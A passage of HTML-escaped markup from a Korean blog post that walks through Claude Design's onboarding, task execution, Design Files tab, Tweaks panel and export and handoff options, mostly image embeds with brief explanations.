data-widthpercent=&quot;61.97&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbMoQE/dJMb99MREZS/03jrtPEU7Okh7FAiPQJlk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbMoQE%2FdJMb99MREZS%2F03jrtPEU7Okh7FAiPQJlk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1562&quot; height=&quot;1896&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 프롬프트가 약 200라인으로(이미지도 포함) 너무 길기 때문에 작성하지 않았는데 혹여라도 동일하게 진행해보고자 하여 퀄리티 비교를 해보실분이라면 ... &lt;a href=&quot;https://goddaehee.co.kr/guide/n8n-handson/agent&quot;&gt;https://goddaehee.co.kr/guide/n8n-handson/agent&lt;/a&gt; 한줄을 입력해보는것을 추천드립니다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;780&quot; data-origin-height=&quot;330&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oaIHk/dJMcaaE43Ey/3skkwdUW4OgSUu3kTi8h51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oaIHk/dJMcaaE43Ey/3skkwdUW4OgSUu3kTi8h51/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oaIHk/dJMcaaE43Ey/3skkwdUW4OgSUu3kTi8h51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoaIHk%2FdJMcaaE43Ey%2F3skkwdUW4OgSUu3kTi8h51%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;399&quot; height=&quot;169&quot; data-origin-width=&quot;780&quot; data-origin-height=&quot;330&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 물론 프롬프트 작성 이후 설문이 뜰텐데 설문의 방향은 달라지겠지만 유사한 컨텍스트를 가져가실수 있을 것 같다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2) 4.4 Claude의 온보딩 질문이 시작되며, 이에 대한 답변 작성 (실제 답변도 참고)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;640&quot; data-origin-height=&quot;598&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dl0AtB/dJMcaf0CCpU/gRYQ7WH8sN41HvV5XOivSK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dl0AtB/dJMcaf0CCpU/gRYQ7WH8sN41HvV5XOivSK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dl0AtB/dJMcaf0CCpU/gRYQ7WH8sN41HvV5XOivSK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdl0AtB%2FdJMcaf0CCpU%2FgRYQ7WH8sN41HvV5XOivSK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;385&quot; height=&quot;360&quot; data-origin-width=&quot;640&quot; data-origin-height=&quot;598&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;754&quot; data-origin-height=&quot;1856&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1A2MW/dJMcacbMFRs/RyMUruZ3R7jlcjikQUFiV1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1A2MW/dJMcacbMFRs/RyMUruZ3R7jlcjikQUFiV1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1A2MW/dJMcacbMFRs/RyMUruZ3R7jlcjikQUFiV1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1A2MW%2FdJMcacbMFRs%2FRyMUruZ3R7jlcjikQUFiV1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;529&quot; height=&quot;1302&quot; data-origin-width=&quot;754&quot; data-origin-height=&quot;1856&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;3) 답변이 끝나면 실제 클로드가 일하는 방식 처럼 Task를 나누어 작업을 시작한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;634&quot; data-origin-height=&quot;1728&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bAqgWS/dJMcaarv9yB/bdsO3alfZY7BmwdMVKIWr0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bAqgWS/dJMcaarv9yB/bdsO3alfZY7BmwdMVKIWr0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bAqgWS/dJMcaarv9yB/bdsO3alfZY7BmwdMVKIWr0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbAqgWS%2FdJMcaarv9yB%2FbdsO3alfZY7BmwdMVKIWr0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;374&quot; height=&quot;1019&quot; data-origin-width=&quot;634&quot; data-origin-height=&quot;1728&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4) 작업 완료 알림 및 결과물&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;628&quot; data-origin-height=&quot;1288&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dF0fUt/dJMcaciyHFD/9PlFQoRtj6EC0egfZCE4B0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dF0fUt/dJMcaciyHFD/9PlFQoRtj6EC0egfZCE4B0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dF0fUt/dJMcaciyHFD/9PlFQoRtj6EC0egfZCE4B0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdF0fUt%2FdJMcaciyHFD%2F9PlFQoRtj6EC0egfZCE4B0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;356&quot; height=&quot;730&quot; data-origin-width=&quot;628&quot; data-origin-height=&quot;1288&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2606&quot; data-origin-height=&quot;1912&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cJhXhB/dJMcagSNAIW/jANth0JCGx8a1aDuHWbTM1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cJhXhB/dJMcagSNAIW/jANth0JCGx8a1aDuHWbTM1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cJhXhB/dJMcagSNAIW/jANth0JCGx8a1aDuHWbTM1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcJhXhB%2FdJMcagSNAIW%2FjANth0JCGx8a1aDuHWbTM1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2606&quot; height=&quot;1912&quot; data-origin-width=&quot;2606&quot; data-origin-height=&quot;1912&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;position: absolute;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모든 Task가 완료되면 Claude가 결과물을 화면에 바로 렌더링해 보여준다. 결과 뷰어 상단에는 탭바가 생기며, 첫 번째 탭이 &lt;b&gt;Design Files&lt;/b&gt;다. 이후 탭들은 Claude가 생성한 개별 HTML 페이지들이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Design Files 탭&lt;/b&gt;을 클릭하면 화면이 좌우로 나뉜다. 좌측은 Claude가 생성한 파일 전체를 탐색하는 패널이고, 우측은 선택한 파일의 미리보기다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1698&quot; data-origin-height=&quot;1076&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CZXo6/dJMcaiJNuYm/enQJ1AYTuHpJyOjqY8RAzk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CZXo6/dJMcaiJNuYm/enQJ1AYTuHpJyOjqY8RAzk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CZXo6/dJMcaiJNuYm/enQJ1AYTuHpJyOjqY8RAzk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCZXo6%2FdJMcaiJNuYm%2FenQJ1AYTuHpJyOjqY8RAzk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1698&quot; height=&quot;1076&quot; data-origin-width=&quot;1698&quot; data-origin-height=&quot;1076&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;!-- [이미지 삽입 위치] Design Files 탭 전체 화면 스크린샷 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;좌측 패널은 &lt;b&gt;FOLDERS&lt;/b&gt;와 &lt;b&gt;PAGES&lt;/b&gt; 두 섹션으로 구분된다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;FOLDERS&lt;/b&gt;: Claude가 내부적으로 생성한 소스 파일 트리다. 필자의 'n8n 핸즈온 가이드' 결과물을 보면 &lt;code&gt;src/&lt;/code&gt; 폴더 아래 &lt;code&gt;sections/&lt;/code&gt;(콘텐츠 섹션들), &lt;code&gt;App.jsx&lt;/code&gt;(루트 컴포넌트), &lt;code&gt;components.jsx&lt;/code&gt;(공통 컴포넌트), &lt;code&gt;Tweaks.jsx&lt;/code&gt;(Tweaks 패널 컴포넌트)가 있고, &lt;code&gt;styles/main.css&lt;/code&gt;가 별도 폴더에 위치한다. Claude Design이 결과물을 React 컴포넌트 구조로 생성한다는 사실을 여기서 확인할 수 있다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;PAGES&lt;/b&gt;: 실제 출력된 HTML 페이지 목록이다. 파일명&amp;middot;타입&amp;middot;수정일&amp;middot;용량이 표시된다. 목록에서 파일을 클릭하면 우측 패널에 미리보기가 나타나고, &lt;b&gt;Open&lt;/b&gt; 버튼으로 새 탭에서 바로 열 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;상단 오른쪽의 &lt;b&gt;New sketch&lt;/b&gt;는 기존 프로젝트 맥락을 유지한 채 새 스케치를 추가하는 버튼이고, &lt;b&gt;Paste&lt;/b&gt;는 외부에서 복사한 콘텐츠를 프로젝트에 붙여넣는 버튼이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) New sketch 화면&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1816&quot; data-origin-height=&quot;680&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bS7Sfe/dJMcabjF2oo/zuFfSlhtHk0Uak4YtiTo8K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bS7Sfe/dJMcabjF2oo/zuFfSlhtHk0Uak4YtiTo8K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bS7Sfe/dJMcabjF2oo/zuFfSlhtHk0Uak4YtiTo8K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbS7Sfe%2FdJMcabjF2oo%2FzuFfSlhtHk0Uak4YtiTo8K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1816&quot; height=&quot;680&quot; data-origin-width=&quot;1816&quot; data-origin-height=&quot;680&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과 화면에서 눈에 띄는 것이 &lt;b&gt;Tweaks 패널&lt;/b&gt;이다. 오른쪽 하단에 위치한 이 패널은 Claude가 해당 결과물에 맞춰 &lt;b&gt;동적으로 생성하는 커스터마이즈 컨트롤&lt;/b&gt;이다. 공식 문서는 &lt;i&gt;&quot;adjustment knobs to tweak spacing, color, and layout live&quot;&lt;/i&gt;, 즉 &quot;실시간으로 간격&amp;middot;색상&amp;middot;레이아웃을 조정하는 노브&quot;라고 설명한다. 클릭 한 번으로 결과물의 느낌을 즉석에서 바꿀 수 있다는 뜻이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 스크린샷처럼 'n8n 핸즈온 가이드' 결과물에는 다음 항목이 Tweaks로 생성됐다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;ACCENT&lt;/b&gt;: 노랑&amp;middot;초록&amp;middot;주황&amp;middot;보라&amp;middot;하늘&amp;middot;분홍 6가지 포인트 컬러 &amp;mdash; 선택 즉시 버튼, 배경 강조 등 전체 테마 색상이 바뀐다.&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Bo9pJ/dJMcajhDvLh/EIdlb4C72scZGXmKurvKdK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Bo9pJ/dJMcajhDvLh/EIdlb4C72scZGXmKurvKdK/img.png&quot; style=&quot;width: 49.2151%; margin-right: 10px;&quot; data-widthpercent=&quot;49.79&quot; data-is-animation=&quot;false&quot; data-origin-height=&quot;1562&quot; data-origin-width=&quot;2142&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Bo9pJ/dJMcajhDvLh/EIdlb4C72scZGXmKurvKdK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBo9pJ%2FdJMcajhDvLh%2FEIdlb4C72scZGXmKurvKdK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2142&quot; height=&quot;1562&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0PoTp/dJMcab40FTB/DrjfqCmh1Ds4wV9iIlO7dK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0PoTp/dJMcab40FTB/DrjfqCmh1Ds4wV9iIlO7dK/img.png&quot; style=&quot;width: 49.6221%;&quot; data-widthpercent=&quot;50.21&quot; data-is-animation=&quot;false&quot; data-origin-height=&quot;1730&quot; data-origin-width=&quot;2392&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0PoTp/dJMcab40FTB/DrjfqCmh1Ds4wV9iIlO7dK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0PoTp%2FdJMcab40FTB%2FDrjfqCmh1Ds4wV9iIlO7dK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2392&quot; height=&quot;1730&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;FONT&lt;/b&gt;: Pretendard / system-ui / Apple / Noto 중 선택 &amp;mdash; 한국어 가독성을 고려한 폰트들이 포함돼 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pK3mM/dJMcacv6Vok/VK4mTVbi9dae2LfO0Glkk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pK3mM/dJMcacv6Vok/VK4mTVbi9dae2LfO0Glkk1/img.png&quot; style=&quot;width: 49.0192%; margin-right: 10px;&quot; data-origin-width=&quot;1736&quot; data-origin-height=&quot;1272&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;49.6&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pK3mM/dJMcacv6Vok/VK4mTVbi9dae2LfO0Glkk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpK3mM%2FdJMcacv6Vok%2FVK4mTVbi9dae2LfO0Glkk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1736&quot; height=&quot;1272&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brr9oM/dJMcahqD1jl/ZNIdpz6KC7zBywi8KdckWk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brr9oM/dJMcahqD1jl/ZNIdpz6KC7zBywi8KdckWk/img.png&quot; style=&quot;width: 49.818%;&quot; data-origin-width=&quot;2394&quot; data-origin-height=&quot;1726&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50.4&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brr9oM/dJMcahqD1jl/ZNIdpz6KC7zBywi8KdckWk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbrr9oM%2FdJMcahqD1jl%2FZNIdpz6KC7zBywi8KdckWk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2394&quot; height=&quot;1726&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;

&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;다크 모드&lt;/b&gt;: 토글 하나로 라이트&amp;harr;다크 전환.&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pK3mM/dJMcacv6Vok/VK4mTVbi9dae2LfO0Glkk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pK3mM/dJMcacv6Vok/VK4mTVbi9dae2LfO0Glkk1/img.png&quot; style=&quot;width: 47.7713%; margin-right: 10px;&quot; data-widthpercent=&quot;48.33&quot; data-is-animation=&quot;false&quot; data-origin-height=&quot;1272&quot; data-origin-width=&quot;1736&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pK3mM/dJMcacv6Vok/VK4mTVbi9dae2LfO0Glkk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpK3mM%2FdJMcacv6Vok%2FVK4mTVbi9dae2LfO0Glkk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1736&quot; height=&quot;1272&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uNaSn/dJMcafGmm6H/1kRkzdl55cWjkbtw13kjXK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uNaSn/dJMcafGmm6H/1kRkzdl55cWjkbtw13kjXK/img.png&quot; style=&quot;width: 51.0659%;&quot; data-origin-width=&quot;2556&quot; data-origin-height=&quot;1752&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;51.67&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uNaSn/dJMcafGmm6H/1kRkzdl55cWjkbtw13kjXK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuNaSn%2FdJMcafGmm6H%2F1kRkzdl55cWjkbtw13kjXK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2556&quot; height=&quot;1752&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;Tweaks 항목은 Claude가 프로젝트 성격에 따라 자동 결정한다. 공식 표현으로는 &lt;i&gt;&quot;whatever Claude decided was adjustable&quot;&lt;/i&gt;(Claude가 조정 가능하다고 판단한 항목). 따라서 어떤 프로젝트는 컬러&amp;middot;폰트 외에 여백, 타이밍 값, 레이아웃 옵션이 추가로 나타날 수도 있다. 결과물을 받은 뒤 Tweaks를 먼저 훑어보고, 마음에 드는 조합을 찾아 Export하자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;오른쪽 상단&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;Export 버튼&lt;/b&gt;을 누르면&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;i&gt;Download as .zip / Export as PDF / Export as PPTX / Export as standalone HTML / Handoff to Claude Code&lt;/i&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등 다양한 형식으로 저장할 수 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2418&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/N47D4/dJMcahc5EQg/CWiTEqdgVrpwpak9ovpqK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/N47D4/dJMcahc5EQg/CWiTEqdgVrpwpak9ovpqK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/N47D4/dJMcahc5EQg/CWiTEqdgVrpwpak9ovpqK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FN47D4%2FdJMcahc5EQg%2FCWiTEqdgVrpwpak9ovpqK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2418&quot; height=&quot;1024&quot; data-origin-width=&quot;2418&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;-&amp;nbsp;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;Export 메뉴 맨 아래&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;Handoff to Claude Code...&lt;/b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;는 완성된 디자인을 코드 구현 단계로 넘기는 기능이다. 공식 설명은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;i&gt;&quot;Claude packages everything into a handoff bundle that you can pass to Claude Code with a single instruction&quot;&lt;/i&gt;(디자인 전체를 번들로 묶어 단 한 줄의 명령으로 Claude Code에 전달한다)이다. 과거 Google AI Studio의 Stitch가 프로토타입을 AI Studio 코딩 에이전트로 바로 넘기던 방식과 같은 개념이다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;582&quot; data-origin-height=&quot;886&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0wn5Q/dJMcah5fqwA/NvXtKPGRVZ8al40ec2Fotk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0wn5Q/dJMcah5fqwA/NvXtKPGRVZ8al40ec2Fotk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0wn5Q/dJMcah5fqwA/NvXtKPGRVZ8al40ec2Fotk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0wn5Q%2FdJMcah5fqwA%2FNvXtKPGRVZ8al40ec2Fotk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;277&quot; 